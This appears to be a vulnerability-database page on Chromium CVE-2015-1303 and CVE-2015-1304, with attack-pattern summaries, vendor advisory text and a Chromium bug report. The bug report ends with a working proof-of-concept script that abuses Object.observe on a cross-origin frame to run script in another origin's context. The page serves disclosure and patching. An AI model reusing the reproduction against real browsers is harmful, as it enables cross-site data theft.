Common Weakness Enumeration (CWE)

Common Attack Pattern Enumeration and Classification (CAPEC)

  • Embedding Scripts within Scripts
    An attack of this type exploits a programs' vulnerabilities that are brought on by allowing remote hosts to execute scripts. The attacker leverages this capability to execute scripts to execute his/her own script by embedding it within other scripts that the target software is likely to execute. The attacker must have the ability to inject script into script that is likely to be executed. If this is done, then the attacker can potentially launch a variety of probes and attacks against the web server's local environment, in many cases the so-called DMZ, back end resources the web server can communicate with, and other hosts. With the proliferation of intermediaries, such as Web App Firewalls, network devices, and even printers having JVMs and Web servers, there are many locales where an attacker can inject malicious scripts. Since this attack pattern defines scripts within scripts, there are likely privileges to execute said attack on the host. Of course, these attacks are not solely limited to the server side, client side scripts like Ajax and client side JavaScript can contain malicious scripts as well. In general all that is required is for there to be sufficient privileges to execute a script, but not protected against writing.
  • Signature Spoofing by Key Theft
    An attacker obtains an authoritative or reputable signer's private signature key by theft and then uses this key to forge signatures from the original signer to mislead a victim into performing actions that benefit the attacker.

    descriptionUpdated chromium-browser packages that fix two security issues are now available for Red Hat Enterprise Linux 6 Supplementary. Red Hat Product Security has rated this update as having Important security impact. Common Vulnerability Scoring System (CVSS) base scores, which give detailed severity ratings, are available for each vulnerability from the CVE links in the References section. Chromium is an open source web browser, powered by WebKit (Blink). Two flaws were found in the processing of malformed web content. A web page containing malicious content could cause Chromium to bypass cross origin restrictions, and access or modify data from an unrelated website. (CVE-2015-1303, CVE-2015-1304) All Chromium users should upgrade to these updated packages, which contain Chromium version 45.0.2454.101, which corrects these issues. After installing the update, Chromium must be restarted for the changes to take effect.

    descriptionThe version of Google Chrome installed on the remote Mac OS X host is prior to 45.0.2454.101. It is, therefore, affected by multiple vulnerabilities : - An unspecified flaw exists in the DOM that allows a remote attacker to bypass the cross-origin policy. (CVE-2015-1303) - A flaw exists in the V8 JavaScript engine when handling Object.observe calls on access-checked objects. A remote attacker may exploit this to bypass the cross-origin policy. (CVE-2015-1304)

    descriptionTwo security issues were discovered in Blink and V8. If a user were tricked in to opening a specially crafted website, an attacker could potentially exploit these to bypass same-origin restrictions. (CVE-2015-1303, CVE-2015-1304). Note that Tenable Network Security has extracted the preceding description block directly from the Ubuntu security advisory. Tenable has attempted to automatically clean and format it as much as possible without introducing additional issues.

description#### VULNERABILITY DETAILS From /v8/src/object-observe.js: ``` function ObjectObserve(object, callback, acceptList) { (...) var objectObserveFn = %GetObjectContextObjectObserve(object); return objectObserveFn(object, callback, acceptList); } ``` From /v8/src/runtime/runtime-observe.cc: ``` RUNTIME_FUNCTION(Runtime_GetObjectContextObjectObserve) { (...) Handle<Context> context(object->GetCreationContext(), isolate); return context->native_object_observe(); } ``` |objectObserveFn| is derived from the observed object's creation context, potentially cross-origin. When this function is invoked, any subsequent exceptions will be created in the aforementioned context, and they'll propagated to a try-catch handler. #### VERSION Chrome 45.0.2454.85 (Stable) Chrome 46.0.2490.22 (Beta) Chrome 47.0.2503.0 (Dev) Chromium 47.0.2510.0 (Release build compiled today) #### REPRODUCTION CASE ``` <script> var i = document.documentElement.appendChild(document.createElement('iframe')); i.onload = function() { try { Object.observe(frames[0].location, Map, 0); } catch(e) { e.constructor.constructor('alert(location)')(); } } i.src = 'https://abc.xyz'; </script> ```
